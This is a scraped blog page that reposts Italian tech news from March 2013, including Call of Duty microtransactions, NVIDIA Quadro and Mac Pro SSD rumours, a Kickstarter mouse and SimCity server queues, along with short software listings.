Activision introdurrà le micro-transazioni nella versione Xbox 360 di Call of Duty Black Ops II, con effetto a partire dalla giornata di domani. I nuovi "micro item" verranno poi resi disponibili anche sulle altre piattaforme in cui è disponibile lo shooter di Treyarch, ovvero PC e PlayStation 3.

Call of Duty Black Ops II

Le nuove opzioni consentiranno di personalizzare l'esperienza di gioco e introdurranno piccole "luxuries" richieste dai giocatori, secondo quanto riferisce Activision. "Nessuno di questi contenuti influenza il gameplay, si tratta semplicemente di piccoli espedienti per migliorare l'esperienza di gioco online", si legge nel comunicato ufficiale.

Ogni pacchetto di personalizzazione contiene un tema con una camo per le armi, tre ottiche e una Calling Card custom. Questi contenuti vengono venduti per 160 MS Points (£1.37 / €1.92 / $2.00). I pacchetti Extra Slots, invece, sono dedicati a coloro che sentono la necessità di avere più opzioni per i loadout e per i fan della modalità Teatro. Così si ottengono 10 slot in più per il Create-a-Class e si espande la capacità di storage di media, il che dà l'opportunità di memorizzare 20 emblemi in più, oltre che 32 filmati e 40 screenshot oltre il limite precedentemente fissato. Anche questo tipo di pacchetto costa 160 MS Points (£1.37 / €1.92 / $2.00).

Ci saranno infine dei pacchetti dedicati alle Calling Card riproducenti le bandiere delle varie nazioni del mondo. Queste card vengono suddivise in base alle aree geografiche e costano 80 MS Points (£0.69 / €0.96 / €0.96) per ogni regione.


23.47 | 0 komentar | Read More

Presto al debutto Quadro K6000, top di gamma della famiglia Kepler

Con questo articolo abbiamo segnalato, la scorsa settimana, il debutto di una nuova serie di schede video NVIDIA della famiglia Quadro, destinate all'utilizzo in workstation grafiche professionali. Manca sino ad ora una versione di scheda top di gamma basata su architettura Kepler, ma l'attesa dovrebbe essere breve.

Sono infatti emerse indiscrezioni sulla prossima generazione di scheda Quadro basata su GPU GK110, la stessa utilizzata per le schede GeForce GTX Titan. Ci riferiamo al modello Quadro K6000, scheda che utilizzerà una declinazione del chip GK110 dotato di 13 unità di calcolo SMX e quindi di 2.496 CUDA cores.

Si tratta dello stesso quantitativo presente nella scheda Tesla K20, inferiore ai 2.688 CUDA cores (con 14 SMX attivi) presenti nelle versioni di GPU GK110 utilizzate da NVIDIA per le schede GeForce GTX Titan e Tesla K20X.

Il bus memoria abbinato a questa scheda per workstation professionali dovrebbe essere da 320bit di ampiezza, abbinato a moduli memoria GDDR5 al pari delle altre schede NVIDIA basate su architettura Kepler con un quantitativo complessivo che dovrebbe essere pari a 5 Gbytes.

Questa scheda dovrebbe vantare prestazioni velocistiche molto interessanti con elaborazioni in double precision, raggiungendo un picco di poco inferiore a 1,2 Teraflops contro un valore di 0,09 Teraflops delle schede Quadro K5000 basate su GPU GK104.


23.47 | 0 komentar | Read More

Google X Phone, spunta il primo rendering ufficiale?

Quella di oggi sembra essere una giornata particolarmente ricca per quanto riguarda le indiscrezioni riguardanti il mondo mobile. Dopo le diverse informazioni e il primo video hands on riguardanti l'ormai imminente Galaxy S IV, proprio in queste ore sono emerse alcune indicazioni a proposito del famigerato X Phone.

X Phone, ormai da tempo noto come il prossimo smartphone marchiato Google e prodotto da Motorola dovrebbe segnare nel prossimo futuro un vero e proprio punto di svolta per quanto riguardo l'esperienza d'uso di un terminale mobile. Secondo alcune delle indicazioni precedentemente diffuse pare infatti che la soluzione potrebbe divenire il primo mezzo di interazione con i nuovi interessantissimi Google Glass.

Nel corso delle ultime ore è apparsa online una immagine che raffigura quella che potrebbe sembrare l'immagine di una presentazione ufficiale nella quale spunta il nome Motorola nXt e il rendering di uno smartphone.

Ovviamente con un nome in cui la X è messa così in evidenza non si può fare a meno di pensare che possa trattarsi proprio del vociferatissimo X Phone.

Secondo le informazioni finora note il probabile nuovo terminale potrebbe essere dotato di SoC Nvidia Tegra 4i, il primo chipset della compagnia di Santa Clara a integrare un modem LTE, display da 4,7 pollici FullHD, fotocamera posteriore da 16 megapixel e frontale da 5 megapixel.

Ancora ovviamente non si tratta di nulla di certo, e probabilmente sapremo qualcosa di più solamente tra qualche mese in occasione della Google I/O Conference 2013.


23.47 | 0 komentar | Read More

SuperRam

Written By Unknown on Selasa, 05 Maret 2013 | 23.47

scheda aggiornata 5 ore fa

Valutazione

Media Voti

         

su 0 votazioni

Utility per la gestione ottimale della memoria ram di sistema. Il software si occupa di rendere disponibile un minimo quantitativo di ram, "svuotando" le porzioni di memoria non più idispensabili al sistema.


23.47 | 0 komentar | Read More

SSD da 2TB per i prossimi sistemi Mac Pro?

La prossima generazione di sistemi Mac Pro di Apple, che dovrebbero essere immessi sul mercato nel corso dei prossimi mesi, potrebbero essere equipaggiati con soluzioni di storage a stato solido da ben 2TB di capienza. E' quanto ipotizzato dal sito Bright Side of News, che ha avuto modo di visitare alcune fabbriche, ovviamente non meglio identificate, situate nell'area asiatica.

Bright Side of News avrebbe infatti preso diretto contatto con alcuni di questi dispositivi di storage, realizzati nel tradizionale form factor di 3,5 pollici e provvisti di connettori SATA standard, recanti l'inconfondibile logo della Mela mordicchiata. Non sono, com'è facile intuire, disponibili ulteriori dettagli.

I nuovi SSD a stato solido da 2TB sembrano quindi essere un elemento caratterizzante dei prossimi sistemi Mac Pro, che saranno costruiti attorno ai processori Intel Xeon basati su core "Ivy Bridge-E": si tratta di CPU che vedranno la luce dopo la seconda metà dell'anno, anche se non è da escludere una fornitura in esclusiva ad Apple con un trimestre di anticipo, come già successo in passato anche con altri processori e altri sistemi della Mela mordicchiata.

Se le soluzioni a stato solido da 2TB dovessero effettivamente rientrare tra le dotazioni hardware dei prossimi Mac Pro, la Mela avrebbe la possibilità di mettere a disposizione del pubblico, ad un prezzo che supponiamo tutt'altro che popolare, una configurazione da ben 8TB, costituita da quattro unità SSD.


23.47 | 0 komentar | Read More

Norton Internet Security 2013

scheda aggiornata 3 ore fa

Valutazione

Media Voti

         

su 3 votazioni

Norton Internet Security è una suite per la sicurezza del sistema sviluppata da Symantec, con la quale proteggere il proprio sistema da qualsiasi tipologia di attacco proveniente dall'esterno.
La versione fornita è una demo, valida per 30 giorni dall'installazione prima di dover essere registrata.


23.47 | 0 komentar | Read More

Ego! Smartmouse, il mouse multifunzione approda su Kickstarter

Laura Sapiens, giovanissima startup tutta italiana nata nel corso del 2011 ad opera di cinque ingegneri di Mantova che, sin dal 2008, hanno coltivato e portato avanti l'idea di un dispositivo di puntamento "intelligente" e capace di estendere le proprie funzioni al di là del tradizionale controllo del PC, ha annunciato l'approdo del progetto Ego! Smartmouse sulla piattaforma di crowdfunding Kickstarter.

Ego! Smartmouse è un dispositivo di puntamento che racchiude numerose funzioni: oltre all'ovvia capacità di controllare un sistema PC desktop o notebook, il mouse Ego! è provvisto di sensori accelerometrici, bussola e giroscopi che gli consentono di essere utilizzato come dispositivo di puntamento alla "Wiimote" per interagire con contenuti videoludici.

Ma non è finita qui: Ego! Smartmouse è inoltre dotato di una memoria flash interna da 2GB, 4GB o 8GB, di una fotocamera VGA, di una superficie sensibile al tocco, di motori di vibrazione e di led di notifica. Il mouse, che integra un processore ARM9 a 400MHz e un piccolo sistema operativo Linux-based, può essere collegato al sistema tramite connessione Bluetooth e può inoltre fungere da dispositivo di autenticazione hardware, evitando così che l'utente debba digitare nome utente e password per accedere ai propri sistemi.

Laura Sapiens prevede inoltre la possibilità di associare Ego! Smartmouse con un account cloud EGO! in maniera tale che l'utente possa avere accesso al proprio spazio cloud simultaneamente alla connessione del mouse al sistema.

L'obiettivo di finanziamento del progetto Kickstarter è fissato a 20 mila sterline, con pre-ordini che partono da 70 sterline per il modello da 2GB in livrea bianca o nera, spese di spedizione internazionali incluse. Al prezzo di 110 e 120 sterline sono invece disponibili i modelli da 4GB e 8GB nei colori bianco, nero, rosso, giallo, verde e blu. Maggiori informazioni su Ego! Smartmouse sono disponibili a questa pagina.


23.47 | 0 komentar | Read More

Phase One presenta i dorsi digitali medio formato IQ2: fino a 80 megapixel

Phase One presenta i dorsi digitali medio formato IQ2: fino a 80 megapixel

"Phase One ha presentato i tre nuovi dorsi digitali IQ280, IQ260 ed IQ260 Acromatico, pensato specificatamente per il bianco e nero"

Con l'avvento delle tecnologie digitali l'universo della fotografia medio formato si è decisamente ridimensionato; gli alti costi per la produzione di sensori di grandi dimensioni uniti al continuo incremento delle performance delle moderne DSLR full frame hanno relegato i prodotti di un segmento già elitario ad una nicchia di professionisti ed agenzie di noleggio attrezzatura. Tuttavia il segmento, per quanto ristretto nei numeri, continua a rappresentare una fascia importante del mercato fotografico. Phase One, uno dei brand principali del settore, ha appena presentato la nuova serie di dorsi medio formato IQ2: IQ280, IQ260 ed IQ260 Acromatico.

La nuova gamma IQ2 è caratterizzata da una gamma dinamica, secondo il produttore, pari a 13 stop e quindi leggermente superiore ai modelli precedenti, display posteriori touch screen da 3.2" e 1.15 megapixel e l'integrazione di un modulo Wi-Fi nel dorso per poter trasferire file, scattare e settare tutte le impostazioni della macchina da remoto tramite iPad o iPhone (l'app dedicata è sviluppata solamente per iOS).

IQ280 è dotato di un sensore CCD dalle dimensioni di 40.4x53.7 capace di generare file da 80 megapixel a 16 bit di profondità colore per canale. La sensibilità ISO è compresa tra 35 ISO ed 800 ISO (espandibile fino a 3200 nella modalità Sensor+ che riduce a 20 il numero dei megapixel). IQ260, molto simile al fratello maggiore sotto diversi aspetti, cattura però immagini 'solamente' da 60 megapixel ma consente tempi di posa compresi tra 1/1000sec e 60 minuti (IQ280 si ferma a 2 minuti), la sensibilità minima impostabile è pari a 50 ISO.

Il prodotto forse più interessante è tuttavia forse il terzo, IQ260 Acromatico; sviluppato appositamente per la realizzazione di immagini in bianco e nero, IQ260 Acromatico è privo di qualsiasi filtro colore davanti al sensore (similmente a quanto fatto da Leica con M Monochrom). Il CCD è in grado di catturare tre diversi spettri di luce: visibile, infrarosso ed ultravioletto. I nuovi dorsi Phase One IQ2 per sistemi 645 saranno disponibili in Italia a partire dal mese di Giugno con prezzi a partire da €29.990.

{{#each linkList}} {{/each}}
]]>

23.47 | 0 komentar | Read More

Google Chrome 27

scheda aggiornata 2 ore fa

Valutazione

Media Voti

         

su 0 votazioni

Google Chrome è un browser web sviluppato da Google con tecnologia WebKit e basato su una nuova Java script Virtual machine denominata V8. Una delle caratteristiche principali del prodotto è la gestione delle singole schede aperte in processi separati: in caso di crash di un singolo tab non sarà necessario riavviare l'intera applicazione


23.47 | 0 komentar | Read More

SimCity disponibile negli Usa: attese per l'accesso ai server

Attese da 30 minuti in su, fino anche a 3 ore: è quanto lamentano i giocatori statunitensi di SimCity, il nuovo gestionale di Maxis disponibile oltreoceano proprio a partire dalla giornata di oggi e in arrivo in Europa tra due giorni.

SimCity

Come precedentemente annunciato, il nuovo SimCity richiede la connessione a internet per l'autenticazione e il gameplay. Ma pare che il sistema abbia mandato in tilt i server di EA, proprio perché il traffico di rete si è rivelato superiore alle aspettative del produttore. Dunque, gli utenti devono aspettare che la coda si esaurisca prima di iniziare a costruire la loro città o per riprendere una partita precedentemente iniziata.

Tutte problematiche a cui non sono certo abituati i giocatori di SimCity di vecchia data, che hanno sempre affrontato il gestionale in maniera puramente offline. Purtroppo, il compromesso è dovuto principalmente al DRM, ovvero al software anti-pirateria, che confronta l'autenticità dei client sui server online.

Softpedia lamenta attese di tre ore prima di iniziare a giocare proprio a causa del congestionamento dei server, mentre Kotaku segnala che le città vicine possono compromettere l'esperienza di gioco, e Ars Technica elenca una serie di punti di delusione a proposito del nuovo SimCity.

La situazione ha messo in crisi anche i recensori videoludici d'oltreoceano, che hanno dovuto aspettare prima di iniziare i loro test. I più fortunati hanno avuto modo di provare il gioco presso gli uffici EA o tramiti server di prova appositamente allestiti per le recensioni. Per gli europei, invece, bisogna aspettare che SimCity venga sbloccato su Origin, cosa che avverrà, come detto, il 7 marzo. Molti di coloro che hanno già provato SimCity, però, sono abbastanza entusiasti, come si può vedere su Cvg.

La nostra copia di SimCity è in arrivo, per cui aspettatevi la recensione di Gamemag a breve.


23.47 | 0 komentar | Read More
techieblogger.com Techie Blogger Techie Blogger